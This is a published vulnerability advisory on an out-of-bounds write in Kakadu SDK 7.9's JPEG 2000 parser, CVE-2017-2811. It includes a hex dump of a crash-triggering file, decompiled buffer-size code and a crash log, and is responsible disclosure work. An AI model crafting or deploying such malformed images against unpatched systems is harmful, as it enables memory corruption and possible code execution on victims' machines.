Talos Vulnerability Report

TALOS-2017-0308

Kakadu SDK JPEG 2000 Unknown Marker Code Execution Vulnerability

August 4, 2017
CVE Number

CVE-2017-2811

Summary

A code execution vulnerability exists in the Kakadu SDK 7.9’s parsing of compressed JPEG 2000 images. A specially crafted JPEG 2000 file can be read by the program, and can lead to an out of bounds write causing an exploitable condition to arise.

Tested Versions

Kakadu SDK 7.9 - OSX & Linux

Product URLs

http://kakadusoftware.com/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-131: Incorrect Calculation of Buffer Size

Details

Kakadu SDK is a commercial solution for the parsing and handling of JPEG 2000 images. This software is used by many high profile companies in the handling of JPEG 2000 images, including Apple. This vulnerability could have a large impact due to the number of users using this SDK to handle their images.

The JPEG 2000 format begins with a header describing the data that will be presented in the rest of the file. The header is parsed by scanning through, finding a marker, and parsing the data based off of the type of marker. The size of the current markers data is presented immediately following the marker itself. The vulnerability arises in the handling of an unknown marker.

The hex dump of the trigger file is shown below.

ff4f ff51 002f 0000 0000 0020 0000 00f3
0000 000d 0000 0000 0000 02d0 0000 0040
0000 0000 0000 0000 0003 0701 0107 0201
0702 7cff 5200 0c00 0000 0100 0400 0327
2cff 7900 2330 2c01 0000 001a 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000  

The first two bytes represent a signature then the next two begin the marker parsing. Marker ids begin with 0xFF and the byte following determines the type of marker. Following the marker type the next two bytes represent the size of the field. If we take the size of the first marker id it brings us to the next id of FF52 with a size of 0xC. Then finally we get to the unknown marker id of 0xFF79. Due to this being an unknown marker, the size field is calculated and taken from the fourth byte and is read in as 0x0000001A00000001. The code for creating the working buffer is shown below.

  v9 = *(_QWORD *)&this->calc_size;
  v11 = HIDWORD(v9) * v9;
  kdu_core::kdu_kernels::enlarge_work_buffers(this, v11);

And inside enlarge_work_buffers:

if ( is_mul_ok(4uLL, 2 * a2 + 1) )
  v3 = 4LL * (2 * a2 + 1);
new_buffer = operator new[](v3);
v7 = new_buffer + 4LL * a2;
this->data_buffer = v7;    [1]

So from this we can derive that the size of the created buffer is 212 or (0x1a*2+1) * 4. At,1, we can see the newly allocated buffer being put into the structure for use later. Oddly, the buffer is advanced by 104 bytes before being assigned. Later on in the program when this buffer is used again, the same calculations are performed and an attempt to zero out the buffer for a size of 212 is made. As can be seen above this will cause a buffer overflow and lead to an exploitable out-of-bounds write condition.

Crash Information

Crashed thread log = 
: Dispatch queue: com.apple.main-thread
0   libsystem_platform.dylib        0x00007fff91a4bc74 _platform_bzero$VARIANT$Haswell + 84
1   libkdu_v79R.dylib               0x0000000103749b13 kdu_core::kdu_kernels::get_bibo_gains(int, int, bool*, double&, double&) + 1539
2   libkdu_v79R.dylib               0x000000010372fefb kd_core_local::kd_resolution::build_decomposition_structure(kdu_core::kdu_params*,   
    kdu_core::kdu_kernels&) + 1979
3   libkdu_v79R.dylib               0x000000010372c020 kd_core_local::kd_tile::initialize() + 5712
4   libkdu_v79R.dylib               0x00000001037168d6 kd_core_local::kd_codestream::create_tile(kdu_core::kdu_coords) + 470
5   libkdu_v79R.dylib               0x00000001037260e7 kdu_core::kdu_codestream::open_tiles(kdu_core::kdu_dims, bool, kdu_core::kdu_thread_env*) + 1175
6   kdu_buffered_expand             0x00000001036b4a4d kdu_supp::kdu_stripe_decompressor::augment_started_queues() + 223
7   kdu_buffered_expand             0x00000001036b57e5 kdu_supp::kdu_stripe_decompressor::pull_common(int) + 163
8   kdu_buffered_expand             0x00000001036b020c main + 8721
9   libdyld.dylib                   0x00007fff8c2d65ad start + 1
---
exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=.byte 0xc5 #bad 
opcode:instruction_address=0x00007fff91a4bc74:access_type=unknown:access_address=0x0000000104450000:
Crash accessing invalid address.    

Timeline

2017-04-18 - Vendor Disclosure
2017-08-04 - Public Release

Credit

Discovered by Aleksandar Nikolic and Tyler Bohan of Cisco Talos.